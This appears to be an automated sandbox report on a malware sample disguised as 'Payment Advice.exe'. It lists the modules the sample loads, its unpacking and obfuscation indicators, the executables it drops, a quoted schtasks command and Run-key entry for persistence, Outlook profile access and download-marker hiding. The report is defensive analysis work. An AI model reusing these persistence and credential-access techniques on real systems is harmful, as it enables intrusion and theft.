Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windowscodecs.dll

Source: C:\Users\user\Desktop\Payment Advice.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Payment Advice.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Payment Advice.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Payment Advice.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Payment Advice.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: Payment Advice.exe, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: sFPEKzHsLkYZIz.exe.0.dr, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.Payment Advice.exe.8ec0000.8.raw.unpack, SQL.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, g45rfxMhkEpawBNuWE.cs	.Net Code: wPfj1ZW3Ew System.Reflection.Assembly.Load(byte[])
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, g45rfxMhkEpawBNuWE.cs	.Net Code: wPfj1ZW3Ew System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_01493AD9 push ebx; retf	0_2_01493ADA
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_05C870C8 pushad ; ret	0_2_05C870D1
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_05C8C207 pushad ; ret	0_2_05C8C20A
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A0947 pushad ; retf	0_2_077A0948
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 0_2_077A093D pushad ; retf	0_2_077A093E
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_00F8B257 push 8BFFFFF7h; ret	8_2_00F8B25D
Source: C:\Users\user\Desktop\Payment Advice.exe	Code function: 8_2_00F80C3D push edi; ret	8_2_00F80CC2
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 9_2_030B3314 pushfd ; iretd	9_2_030B3351
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 9_2_030B3352 pushfd ; iretd	9_2_030B3351
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 9_2_030B369B push ebx; iretd	9_2_030B36DA
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 9_2_030B3AD9 push ebx; retf	9_2_030B3ADA
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_00F5B257 push 8BFFFFF7h; ret	13_2_00F5B25D
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Code function: 13_2_00F50C3D push edi; ret	13_2_00F50CC2
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_0227334D pushfd ; iretd	14_2_02273351
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_022736D3 push ebx; iretd	14_2_022736DA
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_02273AD9 push ebx; retf	14_2_02273ADA
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A50E9B push es; retf	14_2_06A50EB8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A50E00 push es; retf	14_2_06A50E68
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A50E00 push es; retf	14_2_06A50EB8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A50E69 push es; retf	14_2_06A50EB8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A5093D pushad ; retf	14_2_06A5093E
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06A50947 pushad ; retf	14_2_06A50948
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 14_2_06EE7147 push dword ptr [edx+ebp*2-75h]; iretd	14_2_06EE7157
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_012F0C3D push edi; ret	19_2_012F0CC2
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_06916F81 push es; ret	19_2_06916F90
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 19_2_06911658 push cs; retf	19_2_0691165B
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_053470C8 pushad ; ret	20_2_053470D1
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_0534C207 pushad ; ret	20_2_0534C20A
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_0534DB32 push esi; retf	20_2_0534DB33
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_01170B4D push edi; ret	25_2_01170CC2
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 25_2_01170C95 push edi; retf	25_2_01170C3A

Source: Payment Advice.exe	Static PE information: section name: .text entropy: 7.9742405595701085
Source: sFPEKzHsLkYZIz.exe.0.dr	Static PE information: section name: .text entropy: 7.9742405595701085

Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, aBMIJsI2GFRlsegvHA.cs	High entropy of concatenated method names: 'jLwgRvxbS4', 'qtDgnhTgtc', 'SANgr2Ee97', 'pTZgNVKc7T', 'NgXgUheTv6', 'z4agKW03ii', 'rwcgdykN4B', 'llogtLOOOO', 'cuNgOAOhrv', 'aAYgTWvfo8'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, g45rfxMhkEpawBNuWE.cs	High entropy of concatenated method names: 'yBKDYVWIhW', 'SJhDRJNBnS', 'NF2Dnigk2X', 'okVDrSXdd0', 'N0fDNXe9Xh', 'dfIDU7Sk7j', 'dX0DK1HM03', 'zVbDdPPkjF', 'O86DtmwZMw', 'RwPDOtR8YE'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, TSuJXh688KCvDRA8xS.cs	High entropy of concatenated method names: 'ei3pKoIYfr', 'moCpdXr3Ju', 'O1CpOZBwDQ', 'RUrpTogNg1', 'WUGpJ7YNyd', 'bxVpwYleWS', 'kvoueXMOm5Q1SmlxXi', 'pYhjSI0urU5QYksA49', 'n5FppYHYrI', 'fL6pDlm01c'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, TfJtmBfwbVKTZLpqD3.cs	High entropy of concatenated method names: 'cmAr0bSsRt', 'jb8rvNqRO3', 'RRCrMjmfw5', 'B2VrIZ2GEj', 'eLKrJ85HTQ', 'MaQrwqQAhW', 'qPtr5xBcwx', 'VkhrgGY6v5', 'VwVr7uORve', 'TTorijefRO'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, z3JXvXmmMR8LABifXF.cs	High entropy of concatenated method names: 'MNe1UwKM8', 'D6N0kRAP7', 'n5Nv7Lvc4', 'DO2GxDV12', 'MefIijA26', 'PqUsMIlAE', 'TgxKcq6CEY0ShNRXym', 'MjV50ZBx5Zq2lxQjva', 'vKngh5OxF', 'KkYigsO3F'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, sOMv7bgiRmU007FApa.cs	High entropy of concatenated method names: 'uxI7pdRerW', 'HS07DnctEt', 'sj97jh8vvR', 'gRd7Rxg9Vm', 'hkl7nmacGN', 'jYW7NTWrIn', 'Gmx7UlikXw', 'kyGgasyxi0', 'DkygcDjI6M', 'T4mgQ3hN3S'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, vMCUf22TOWfFJfIcQU.cs	High entropy of concatenated method names: 'ToString', 'tpPwyaLUNI', 'bMAw3AS9yd', 'ndfwBIdFbJ', 'zOtwEA1J0w', 'SS3w2cgs2Y', 'Tdjw652ika', 'zOqwPuc6uh', 'eG8weVRuAx', 'H21wqdTjxY'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, k8kSUDwarKJEU7Xa30.cs	High entropy of concatenated method names: 'cOinLdtRg7', 'N8Vn99vQp1', 't2JnXoI9PJ', 'F3LnkQnQYw', 'VI3nfVBOZx', 'aB5nVZh6tY', 'e6InaMotY4', 'S1ZncZOoVc', 'mdqnQYRYc0', 'Q9rnHsRZVk'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, nUo34hz6QsbQPWCtYV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'oZy7ZuOZdh', 'FWt7JYvoRg', 'wjl7wQmbUc', 'Xsr75Vv6EA', 'AFp7gSTXWF', 'QYV7726pVb', 'W4F7i0edYs'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, UpQHmstwEVKTgZGGgR.cs	High entropy of concatenated method names: 'Gh0NS2uFRD', 'tWYNGuX9kt', 'UstrBb7lVZ', 'tkVrEhSfu4', 'rdsr27Em69', 'gmTr6YJNgn', 'h8ZrPeZPs8', 'UiJreXQnoS', 'Hv4rqxQpdc', 'XbGroxSHiR'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, Ex8GEybODp9w5PDMiRh.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kUfiLr5uGy', 'IPmi9u4sj5', 'mJMiXU84Nf', 'PWVikZ5nQa', 'IDuif2GqVH', 'zHqiV9myaw', 'Je0iauMVCy'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, Hv2PvdJu2lR4hIVvn9.cs	High entropy of concatenated method names: 'iwLZMud7uP', 'RUdZInlfp1', 'IN2ZWbGKQc', 'U5MZ3DRTY8', 'RL6ZESwAmq', 'ad0Z2B80qB', 'cWCZPHbtEI', 'MV0ZeYUTBW', 'NPCZoscrYR', 'REqZyTb42W'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, xuq9NBsGj38hal6MpI.cs	High entropy of concatenated method names: 'jwKJoN0f0d', 'LlpJu8rK3y', 'eZ1JLCAD8k', 'C3ZJ9mFGtU', 'UP7J3LBteg', 'GByJBpH2q4', 'ltdJE9TvBX', 'fULJ2gL56I', 'TQlJ6hldem', 'YylJPdQbbM'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, YyZUO9b5whwYWTkytbE.cs	High entropy of concatenated method names: 'n7E7AN38Ju', 'AE47bDETub', 'n0d71JW0Gq', 'XH670cjHVD', 'EGk7SqTiL9', 'rXa7vlnPfG', 'x2P7GteEOf', 'lPA7MhYVP0', 'aFv7I5cZDZ', 'Gcb7scQDcK'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, NFWBpM4mPw4rlyE4h1.cs	High entropy of concatenated method names: 'Dispose', 'lpEpQ1CnJM', 't5E43ZeSb2', 'VffCCYlVy8', 'jrmpHDpc1L', 'zTVpzdcr92', 'ProcessDialogKey', 'PgS4mecuej', 'hiE4pDjYxQ', 'LhM441QNTV'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, ts6Ukvnuhx7ka3epjf.cs	High entropy of concatenated method names: 'GHOUY12Ajx', 'OF8UnsDkYr', 'jAVUNidD8v', 'BEcUKYphPP', 'WBDUdmyZq7', 'osFNfHstVe', 'y9BNVShpwK', 'y7LNavY12Y', 'tQXNcHHQEN', 'XOGNQci9Xv'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, TSrMHgQjhmviKA4M93.cs	High entropy of concatenated method names: 'sGUgWoCEnA', 'ievg3O9Nrf', 'LjwgBGsBVp', 'SovgEiU8UR', 'So0gLsL5K4', 'xIVg2T2kpi', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, tkbEV7bmUUsmCjO133w.cs	High entropy of concatenated method names: 'ExhiAtJOME', 'PC6ibDYElD', 'orqi112ZO4', 'MoOU4OH55avXSJHmnje', 'wef3TbH6JcQpvxPO8cu', 'cc2oJbHB9wjNZ4VtfLs', 'kcRKjkHleDArZJiy7SF'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, sF7EofuwR9Zd9VpvII.cs	High entropy of concatenated method names: 'ontKRjRhsJ', 'o08KrFXwAs', 'p8nKUVLpdQ', 'Ef8UHHFFmC', 'eKUUzXSbZD', 'wqeKmgvEsT', 'XfVKp07PQi', 'F2lK4CwnMy', 'aAUKDRpAhP', 'nlYKjOTQIF'
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, O1vH9MdC9n3P7LT7AU.cs	High entropy of concatenated method names: 'zXnKAXlb9g', 'unNKbJfRrG', 'l3KK15klMu', 'NVgK0r2oib', 'A4bKSHd9B5', 'vXeKv8nqgu', 'ymBKGJwnDZ', 'rp9KMU3cT7', 'jP2KI85I6H', 'h58KsPiTvr'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, aBMIJsI2GFRlsegvHA.cs	High entropy of concatenated method names: 'jLwgRvxbS4', 'qtDgnhTgtc', 'SANgr2Ee97', 'pTZgNVKc7T', 'NgXgUheTv6', 'z4agKW03ii', 'rwcgdykN4B', 'llogtLOOOO', 'cuNgOAOhrv', 'aAYgTWvfo8'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, g45rfxMhkEpawBNuWE.cs	High entropy of concatenated method names: 'yBKDYVWIhW', 'SJhDRJNBnS', 'NF2Dnigk2X', 'okVDrSXdd0', 'N0fDNXe9Xh', 'dfIDU7Sk7j', 'dX0DK1HM03', 'zVbDdPPkjF', 'O86DtmwZMw', 'RwPDOtR8YE'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, TSuJXh688KCvDRA8xS.cs	High entropy of concatenated method names: 'ei3pKoIYfr', 'moCpdXr3Ju', 'O1CpOZBwDQ', 'RUrpTogNg1', 'WUGpJ7YNyd', 'bxVpwYleWS', 'kvoueXMOm5Q1SmlxXi', 'pYhjSI0urU5QYksA49', 'n5FppYHYrI', 'fL6pDlm01c'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, TfJtmBfwbVKTZLpqD3.cs	High entropy of concatenated method names: 'cmAr0bSsRt', 'jb8rvNqRO3', 'RRCrMjmfw5', 'B2VrIZ2GEj', 'eLKrJ85HTQ', 'MaQrwqQAhW', 'qPtr5xBcwx', 'VkhrgGY6v5', 'VwVr7uORve', 'TTorijefRO'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, z3JXvXmmMR8LABifXF.cs	High entropy of concatenated method names: 'MNe1UwKM8', 'D6N0kRAP7', 'n5Nv7Lvc4', 'DO2GxDV12', 'MefIijA26', 'PqUsMIlAE', 'TgxKcq6CEY0ShNRXym', 'MjV50ZBx5Zq2lxQjva', 'vKngh5OxF', 'KkYigsO3F'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, sOMv7bgiRmU007FApa.cs	High entropy of concatenated method names: 'uxI7pdRerW', 'HS07DnctEt', 'sj97jh8vvR', 'gRd7Rxg9Vm', 'hkl7nmacGN', 'jYW7NTWrIn', 'Gmx7UlikXw', 'kyGgasyxi0', 'DkygcDjI6M', 'T4mgQ3hN3S'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, vMCUf22TOWfFJfIcQU.cs	High entropy of concatenated method names: 'ToString', 'tpPwyaLUNI', 'bMAw3AS9yd', 'ndfwBIdFbJ', 'zOtwEA1J0w', 'SS3w2cgs2Y', 'Tdjw652ika', 'zOqwPuc6uh', 'eG8weVRuAx', 'H21wqdTjxY'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, k8kSUDwarKJEU7Xa30.cs	High entropy of concatenated method names: 'cOinLdtRg7', 'N8Vn99vQp1', 't2JnXoI9PJ', 'F3LnkQnQYw', 'VI3nfVBOZx', 'aB5nVZh6tY', 'e6InaMotY4', 'S1ZncZOoVc', 'mdqnQYRYc0', 'Q9rnHsRZVk'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, nUo34hz6QsbQPWCtYV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'oZy7ZuOZdh', 'FWt7JYvoRg', 'wjl7wQmbUc', 'Xsr75Vv6EA', 'AFp7gSTXWF', 'QYV7726pVb', 'W4F7i0edYs'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, UpQHmstwEVKTgZGGgR.cs	High entropy of concatenated method names: 'Gh0NS2uFRD', 'tWYNGuX9kt', 'UstrBb7lVZ', 'tkVrEhSfu4', 'rdsr27Em69', 'gmTr6YJNgn', 'h8ZrPeZPs8', 'UiJreXQnoS', 'Hv4rqxQpdc', 'XbGroxSHiR'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, Ex8GEybODp9w5PDMiRh.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kUfiLr5uGy', 'IPmi9u4sj5', 'mJMiXU84Nf', 'PWVikZ5nQa', 'IDuif2GqVH', 'zHqiV9myaw', 'Je0iauMVCy'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, Hv2PvdJu2lR4hIVvn9.cs	High entropy of concatenated method names: 'iwLZMud7uP', 'RUdZInlfp1', 'IN2ZWbGKQc', 'U5MZ3DRTY8', 'RL6ZESwAmq', 'ad0Z2B80qB', 'cWCZPHbtEI', 'MV0ZeYUTBW', 'NPCZoscrYR', 'REqZyTb42W'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, xuq9NBsGj38hal6MpI.cs	High entropy of concatenated method names: 'jwKJoN0f0d', 'LlpJu8rK3y', 'eZ1JLCAD8k', 'C3ZJ9mFGtU', 'UP7J3LBteg', 'GByJBpH2q4', 'ltdJE9TvBX', 'fULJ2gL56I', 'TQlJ6hldem', 'YylJPdQbbM'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, YyZUO9b5whwYWTkytbE.cs	High entropy of concatenated method names: 'n7E7AN38Ju', 'AE47bDETub', 'n0d71JW0Gq', 'XH670cjHVD', 'EGk7SqTiL9', 'rXa7vlnPfG', 'x2P7GteEOf', 'lPA7MhYVP0', 'aFv7I5cZDZ', 'Gcb7scQDcK'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, NFWBpM4mPw4rlyE4h1.cs	High entropy of concatenated method names: 'Dispose', 'lpEpQ1CnJM', 't5E43ZeSb2', 'VffCCYlVy8', 'jrmpHDpc1L', 'zTVpzdcr92', 'ProcessDialogKey', 'PgS4mecuej', 'hiE4pDjYxQ', 'LhM441QNTV'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, ts6Ukvnuhx7ka3epjf.cs	High entropy of concatenated method names: 'GHOUY12Ajx', 'OF8UnsDkYr', 'jAVUNidD8v', 'BEcUKYphPP', 'WBDUdmyZq7', 'osFNfHstVe', 'y9BNVShpwK', 'y7LNavY12Y', 'tQXNcHHQEN', 'XOGNQci9Xv'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, TSrMHgQjhmviKA4M93.cs	High entropy of concatenated method names: 'sGUgWoCEnA', 'ievg3O9Nrf', 'LjwgBGsBVp', 'SovgEiU8UR', 'So0gLsL5K4', 'xIVg2T2kpi', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, tkbEV7bmUUsmCjO133w.cs	High entropy of concatenated method names: 'ExhiAtJOME', 'PC6ibDYElD', 'orqi112ZO4', 'MoOU4OH55avXSJHmnje', 'wef3TbH6JcQpvxPO8cu', 'cc2oJbHB9wjNZ4VtfLs', 'kcRKjkHleDArZJiy7SF'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, sF7EofuwR9Zd9VpvII.cs	High entropy of concatenated method names: 'ontKRjRhsJ', 'o08KrFXwAs', 'p8nKUVLpdQ', 'Ef8UHHFFmC', 'eKUUzXSbZD', 'wqeKmgvEsT', 'XfVKp07PQi', 'F2lK4CwnMy', 'aAUKDRpAhP', 'nlYKjOTQIF'
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, O1vH9MdC9n3P7LT7AU.cs	High entropy of concatenated method names: 'zXnKAXlb9g', 'unNKbJfRrG', 'l3KK15klMu', 'NVgK0r2oib', 'A4bKSHd9B5', 'vXeKv8nqgu', 'ymBKGJwnDZ', 'rp9KMU3cT7', 'jP2KI85I6H', 'h58KsPiTvr'

Source: C:\Users\user\Desktop\Payment Advice.exe	File created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Payment Advice.exe	File created: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Payment Advice.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp6619.tmp"

Source: C:\Users\user\Desktop\Payment Advice.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BjTxJte			Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BjTxJte			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

